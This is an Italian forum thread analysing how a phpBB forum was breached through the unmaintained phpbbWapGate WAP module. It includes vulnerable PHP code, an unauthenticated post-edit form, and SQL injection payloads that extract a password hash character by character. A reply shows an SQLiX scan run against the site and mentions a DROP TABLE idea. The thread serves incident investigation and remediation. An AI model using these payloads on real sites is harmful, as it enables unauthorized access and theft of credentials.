Torna in homepage www.vincenzomanzoni.com
Homepage personale e blog di Vincenzo Manzoni
 
 FAQFAQ   CercaCerca   Cerca con GoogleCerca con Google   Lista utentiLista utenti   GruppiGruppi   RegistratiRegistrati   Feed AtomFeed
 ProfiloProfilo   Messaggi privatiMessaggi privati   Log inLog in 

HACKED: una spiegazione

 
Questo forum è chiuso: Non puoi inserire, rispondere o modificare gli argomenti.   Quest'argomento è chiuso: Non puoi inserire, rispondere o modificare i messaggi.    Indice del forum -> Off Topics
Precedente :: Successivo  
Autore Messaggio
SilvioMoioli
Utente neonato
Utente neonato


Registrato: 24/02/06 14:25
Messaggi: 24

MessaggioInviato: Gio Gen 17, 2008 1:42 pm    Oggetto: HACKED: una spiegazione Rispondi citando

Ciao a tutti!

Come promesso ecco la spiegazione di quel che siamo riusciti a capire del guaio con M!KRO<H!P. E' un po' lungo, scusatemi, ma credo che ne valga la pena Very Happy Fatemi sapere cosa ne pensate!

Parte 1: l'indagine

Come tutti, sono rimasto abbastanza sbalordito dal fatto che qualcuno si sia preso la briga di bucare il forum, e mi sono subito insospettito dalla firma non molto seria di M!KRO<H!P.

https://www.vincenzomanzoni.com/phpBB2/viewtopic.php?t=2912

Ho cominciato a consultare la sua galleria di foto su imageshack.us alla ricerca di indizi (basta cliccare sull'immagine della firma) e sono sorprendentemente arrivato al suo gatto:

http://profile.imageshack.us/user/mikrochip/

Facendo due più due ho pensato: se questo individuo ha preso il controllo del forum facendo la cortesia di non distruggere nulla e inoltre ha un bel gatto in camera, allora non dev'essere troppo cattivo!

http://profile.imageshack.us/user/mikrochip/images/detail/#296/killerbu5.jpg

(se il gatto si chiama killerbus amen, speriamo che non sia cattivo anche lui).

Purtroppo vedere il gatto non aiuta, e allora ho fatto una bella ricerca con Google usando come parola chiave il nome utente "mikrochip2000" (sperando che non usasse spesso Yahoo in cinese, quindi magari avrei potuto trovare un suo account su qualche altro provider).

http://www.google.it/search?q=mikrochip2000&gbv=2&hl=en&safe=off&filter=0

Guarda un po' che bell'elenco di siti bucati da M!KRO<H!P! Ma cosa vedo? Gruppo degli utenti di Chevrolet Niva polacco? Che strano...

http://www.chevy-niva.ru/login.php?redirect=viewtopic.php&p=0&start=0
http://en.wikipedia.org/wiki/Chevrolet_Niva

Ho cominciato a chiedermi cosa avessero in comune i due forum. Quasi niente, a parte il fatto che usano PHPBB. Quindi vincenzomanzoni.com non è un bersaglio politico, e M!KRO<H!P non è uno che ce l'ha col Vinz perchè gli ha rubato la ragazza.

Bene.

Fra l'altro trovo in giro un'altra sua firma, che conferma il sospetto che sia nostro connazionale ("contact me ON email", tipico esempio di Inglese fai-da-te)

http://img244.imageshack.us/my.php?image=mikrochiprx7.jpg

Bene.


Quel che mi sconcerta è che i risultati dei suoi buchi da Google sono pochini. Se si fosse trattato di uno stupidissimo script kiddie con in mano l'ultima vulnerabilità di PHPBB avrebbe fatto molti più danni, dev'essere uno un po' più serio.

Male.

La cosa che mi confonde è che PHPBB è usatissimo e non ci sono vulnerabilità note nè su phpbb.com, nè su Secunia e neanche su BUGTRAQ, quindi è molto difficile che si tratti di quello, ammenochè abbiamo davanti uno veramente tosto, che però non è molto probabile...

La fortuna fortunatamente mi assiste, e cercando tra i risultati incappo in qualcosa di interessante: su un certo forum che era nella cache di Google (retromoto.lv) M!KRO<H!P diceva di aver sfruttato un baco nel portale WAP.

WAP? E chi se lo ricorda?

http://en.wikipedia.org/wiki/WAP

Faccio una chiamatina a Vinz: i dubbi sono fondati. Anni fa aveva installato un MOD a PHPBB per permettere la consultazione via WAP, phpbbWapGate:

https://www.vincenzomanzoni.com/phpBB2/viewtopic.php?t=958&highlight=wap

Cerco su Internet per capire di cosa si tratta:

http://www.phpbb.com/community/viewtopic.php?t=224847

Siamo a cavallo. phpbbWapGate, un MOD non ufficiale, scritto con i piedi e in fretta, non supportato nè aggiornato da anni. C'è da scommettere che ci sarà qualche leggerezza nella stesura del codice...

Parte 2: caccia al baco

Da quel che ho capito, è molto probabile che il nostro M!KRO<H!P abbia usato una falla in phpbbWabGate per entrare. Non è sicuro, ma è molto probabile; se non altro spiega il fatto che i siti colpiti non sono tantissimi, che avere l'ultima versione di PHPBB non è sufficiente, che i bersagli sono disparati, che l'unica cosa che hanno in comune è il portale Wap e che su BUGTRAQ nessuno ne parla. Il fatto che la maggior parte dei siti bucati è in italiano, inoltre, conferma la poca predisposizione alle lingue straniere.

Resta da provare che il software in questione è debole. Se riesco a bucarlo io, che sono alla prima esperienza nell'ambito, siamo ragionevolmente sicuri che sia andata così.

(per la cronaca l'ho bucato in due serate, circa 4 ore di lavoro)

Il Vinz, cortesemente, mi ha passato una copia dei sorgenti di phpbbWapGate (che attualmente è quasi introvabile) e sposta la cartella wap da un'altra parte, cosicchè nessuno possa sfruttare nuovamente eventuali debolezze.

Dò un'occhiata generale.

Al terzo file, wapedit.php, già vedo cose obbrobriose, che vi riporto:

Codice:
$answer = (empty($_POST['re'])) ? "" : $_POST['re'];
$post_id = (!isset($_GET['post'])) ? "0" : $_GET['post'];

[...]

if($answer == "")
{
[...]
} else {
    $answer = $answer."\n\n[i]". $lang['wap_posted_from_a']. " ". $phone . "[/i]";
    $answer = prepare_wap_post($answer,$uid);
    $update_posts = $db->sql_query("update " . POSTS_TEXT_TABLE . " set post_text = \"$answer\", bbcode_uid =\"$uid\" where post_id = $post_id");
    $update_text = $db->sql_query("update " . POSTS_TABLE . " set post_edit_time = \"$time\", enable_bbcode = \"1\", enable_html = \"1\", post_edit_count = post_edit_count +1 where post_id = $post_id");
   
    $last = $db->sql_query("select p.topic_id, t.topic_replies, t.forum_id from " . TOPICS_TABLE . " t, " . POSTS_TABLE . " p where p.post_id = $post_id and t.topic_id = p.topic_id");
    $last = $db->sql_fetchrow($last);
    $start = $last['topic_replies'];
    $topic = $last['topic_id'];
    $forum_id = $last['forum_id'];
    echo $lang['wap_edit_ok']. ".";
    echo "<br/>";
    echo sprintf($lang['wap_click_view_post']," <anchor>","<go href=\"" . append_sid("waptopic.$phpEx?s=$start&amp;topic=$topic&amp;forum=$forum_id&amp;last=1") . "\"/></anchor>");


Bella lì! Innanzitutto, 'sta robba si permette di fare update e select senza neanche controllare l'identità dell'utente. Quindi posso modificare post a volontà senza neanche fare il login!

Tutto quel che si deve fare è passare allo script (via GET) l'ID del post da modificare e (via POST) il nuovo testo. Basta che non sia una stringa vuota e lui fa un paio di update che modificano il post senza neanche chiederti la password!

Creare un file html che permetta di fare questa cosa è un compitino da Applicazioni Internet B, ricordate?
Codice:

<html>
<form method="POST" action="http://www.vincenzomanzoni.com/phpBB2/*cartella wap*/wapedit.php?post=44873">
<input type="text" value="test" name="re"/>
<input type="submit"/>
</form>
</html>


Guarda caso il post ID è quello del messaggio di Tommy! (si può vedere da alcuni link nel forum che il Vinz mi ha segnalato)

Ma modificare post a caso non è molto divertente, soprattutto perchè il codice di sopra presenta un altro errore, molto più grave, che lo espone alla SQL Injection:

http://en.wikipedia.org/wiki/SQL_injection

Le variabili $answer e $post_id, infatti, vengono inserite nella stringa delle interrogazioni SQL senza essere validate, quotate o controllate.

Per essere sicuro ho iniziato con una prova semplice, iniettando nella query:

Codice:
"update phpbb_posts_text set post_text = \"$answer\", bbcode_uid =\"$uid\" where post_id = $post_id"


il codice:

Codice:
0 OR post_id = 44873


sperando di ottenere lo stesso risultato di prima. Ha funzionato, grazie a un simpatico codificatore di URL che mi ha dato una mano:

http://www.blooberry.com/indexdot/html/topics/urlencoding.htm

Dato che l'injection funzionava, ho voluto iniziare a sfruttare la terza query debole (la select) per estrarre qualcosa di utile dal DB. Anche qui sono andato per tentativi (approccio MOC), iniettando nella query:

Codice:
"select p.topic_id, t.topic_replies, t.forum_id from phpbb_topics t, phpbb_posts p where p.post_id = $post_id and t.topic_id = p.topic_id"


il codice:

Codice:
p.post_id+1 union (select p1.topic_id, t1.topic_replies, t1.forum_id from phpbb_topics t1, phpbb_posts p1 where p1.post_id = 44873 and t1.topic_id = p1.topic_id)/*


Questo codice non fa altro che far restituire l'insieme vuoto alla query originale (p.post_id = p.post_id+1) e fare una unione con una query identica. Non servirà a molto ma prova il concetto: l'ultima echo ha effettivamente stampato i risultati della query manipolata col solito post del Tommy.

Codice:
echo sprintf($lang['wap_click_view_post']," <anchor>","<go href=\"" . append_sid("waptopic.$phpEx?s=$start&amp;topic=$topic&amp;forum=$forum_id&amp;last=1") . "\"/></anchor>");


Da notare, in particolare, l'uso della variabile p nel codice iniettato in modo che le prime due query di update, che non la usano, non vengono eseguite; inoltre il /* apre un commento che ranza la parte finale della query originale.

A questo punto non restava che andare di birra e estrarre qualcosa di più utile... Ad esempio gli hash delle password! Ecco come:

Codice:
p.post_id+1 union (select ASCII(SUBSTRING(u1.user_password, 1, 1)) as topic_id, t1.topic_replies, t1.forum_id from phpbb_users u1, phpbb_topics t1, phpbb_posts p1 where u1.user_id = 2 limit 1)/*


Siccome la query originale restituisce tre interi, ho dovuto fare qualche salto mortale per restituire un carattere alla volta (ecco perchè il SUBSTRING e l'ASCII) ma... Ha funzionato!

Vinz mi ha confermato di aver estratto correttamente i primi 6 nibble dell'hash md5 della sua attuale password, che per pudore non pubblico qui Smile

Parte 3: conclusioni

L'analisi che avete letto prova che il modulo phpbbWapGate è decisamente scarso dal punto di vista della sicurezza. Anche un niubbo come me è riuscito a modificare e a tirar fuori dati a piacere dal database dall'analisi di uno solo dei file che compongono il modulo, con uno sforzo tutto sommato moderato.

Con ogni probabilità M!KRO<H!P, che è più preparato ed ha più tempo per provare del sottoscritto, ha usato qualche altra vulnerabilità che senza dubbio è presente in quel modulo per aprire un nuovo topic e far finta di essere Vinz per qualche minuto.

Stiamo valutando la possibilità di passare l'IP di M!KRO<H!P alla Polizia Postale e di diffondere la conoscenza delle vulnerabilità per tutelare altri siti nelle nostre condizioni.

Vinz ha ovviamente rimosso il modulo incriminato dopo le prove. Allo stato attuale delle cose sembra improbabile che il forum venga bucato nuovamente. E' però possibile che durante il lungo periodo di vulnerabilità M!KRO<H!P o qualche altro malintenzionato sia riuscito a leggere tutto il contenuto del database di PHPBB, compresi gli hash md5 delle password. Da questi risalire alle password non dovrebbe essere banalissimo ma è comunque possibile:

http://en.wikipedia.org/wiki/Md5#Vulnerability
http://en.wikipedia.org/wiki/Rainbow_table

Si raccomanda quindi a tutti un rinnovo delle password.

Ciao!
_________________
Silvio Moioli

silvio at moioli dot net

"Things should be as simple as possible, but not any simpler" Einstein
Top
Profilo Invia messaggio privato HomePage
Endless
Utente adulto
Utente adulto


Registrato: 23/12/03 18:06
Messaggi: 2905
Residenza: Bergamo (provincia)

MessaggioInviato: Gio Gen 17, 2008 2:57 pm    Oggetto: Rispondi citando

Bella analisi Silvio, complimenti!
Idea
_________________

Training autogeno: in caso di stress, eseguite il movimento in figura e ripetete:
"Amo il mio lavoro! Amo il mio lavoro! Amo il mio lavoro!"
Top
Profilo Invia messaggio privato Invia e-mail HomePage MSN
Tomaux
Utente adulto
Utente adulto


Registrato: 12/08/04 17:56
Messaggi: 2494
Residenza: bergamo

MessaggioInviato: Gio Gen 17, 2008 7:24 pm    Oggetto: Rispondi citando

manca solo il totale del tempo che ti è servito per scriverlo!!


ahahah Laughing Laughing
_________________
A volte mi fermo e penso:
"THE EARTHQUAKE!!! OH MY FUCKING GOD, THE EARTHQUAKE!!!"
Top
Profilo Invia messaggio privato Invia e-mail HomePage MSN
antonio
Utente adolescente
Utente adolescente


Registrato: 18/02/06 12:07
Messaggi: 396

MessaggioInviato: Gio Gen 17, 2008 7:33 pm    Oggetto: Rispondi citando

Per evidente interesse in quanto la mia tesi tratta queste tematiche anche io mi sono messo a fare qualche prova... però non volevo guardare il codice (un attaccante spesso non ce l'ha)!

con questo tool:
http://www.owasp.org/index.php/Category:OWASP_SQLiX_Project

e con un comando del genere

Codice:
perl SQLiX.pl -v=2 -all  -url="http://www.vincenzomanzoni.com/*********/wapmisc.php?action=forum&forum=2&sid=8f77d2d25502db37b9423d1eb8e0e233"


si ottiene un risultato del genere:

Citazione:
======================================================
-- SQLiX --
� Copyright 2006 Cedric COCHIN, All Rights Reserved.
======================================================

Analysing URL [https://www.vincenzomanzoni.com/*********/wapmisc.php?action=forum&forum=2&sid=8f77d2d25502db37b9423d1eb8e0e233]
https://www.vincenzomanzoni.com/**********/wapmisc.php?action=forum&forum=2&sid=8f77d2d25502db37b9423d1eb8e0e233
[+] working on action
[+] Method: MS-SQL error message
....
[+] working on forum
[+] Method: MS-SQL error message
[+] Method: SQL error message
[+] Method: MySQL comment injection
[FOUND] MySQL Comment based injection (integer based)
[FOUND] MySQL comment injection
[+] working on sid
....
[ERROR] Parameter doesn't impact content
[+] Method: SQL Blind Statement Injection

RESULTS:
The variable [forum] from [https://www.vincenzomanzoni.com/********/wapmisc.php?action=forum&forum=2&sid=8f77d2d25502db37b9423d1eb8e0e233] is vulnerable to SQL Injection [Comment without quotes - MySQL].


il che mi indica che il parametro forum non viene validato ed è quindi iniettabile.

cambiando semplicemente il valore della variabile forum succede una cosa del genere:
Codice:
Failed obtaining forum access control lists

DEBUG MODE

SQL Error : 1064 You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near 'fdf' at line 3

SELECT a.forum_id, a.auth_view FROM phpbb_forums a WHERE a.forum_id = [b]2 fdf[/b]

Line : 125
File : auth.php


facendomi vedere la stringa sql e indicandomi che posso farci qualsiasi cosa: "2; DROP TABLE ...???" ('non si fanno vedere mai in nessun caso le stringhe sql': sei sicuro vinz che non hai un'impostazione DEBUG=on??)

qui però mi ero fermato: non volendo vedere il codice mi era risultato difficile trovare un posto dove far stampare una variabile di tipo stringa! Ma qui Silvio ha illustrato come si può fare carattere a carattere)

Risultato: con uno scanner di sqlinjection adatto si può far danno in meno di 10 minuti e senza neanche avere sottomano il codice sorgente!
Top
Profilo Invia messaggio privato HomePage MSN
SilvioMoioli
Utente neonato
Utente neonato


Registrato: 24/02/06 14:25
Messaggi: 24

MessaggioInviato: Gio Gen 17, 2008 11:57 pm    Oggetto: Rispondi citando

Hehe, te l'ho detto che ero al primo tentativo: non mi sono messo a cercare tool appositi anche se immaginavo ne esistessero!

Solo una nota:

Codice:
2; DROP TABLE ...???


non funziona, questo è MySQL e la sintassi con i ; funziona solo con MSSQL.

Quanto alla disponibilità di sorgenti non è un problema visto che il plugin è open source e quindi con un minimo di ricerca si poteva anche trovare in giro...

Tommy: effettivamente ci ho messo quasi di più a scrivere il report che altro ;)
_________________
Silvio Moioli

silvio at moioli dot net

"Things should be as simple as possible, but not any simpler" Einstein
Top
Profilo Invia messaggio privato HomePage
Mostra prima i messaggi di:   
Questo forum è chiuso: Non puoi inserire, rispondere o modificare gli argomenti.   Quest'argomento è chiuso: Non puoi inserire, rispondere o modificare i messaggi.    Indice del forum -> Off Topics Tutti i fusi orari sono GMT 1 ora
Pagina 1 di 1

 
Vai a:  
Non puoi inserire nuovi argomenti
Non puoi rispondere a nessun argomento
Non puoi modificare i tuoi messaggi
Non puoi cancellare i tuoi messaggi
Non puoi votare nei sondaggi


Powered by phpBB © 2001, 2005 phpBB Group
phpbb.it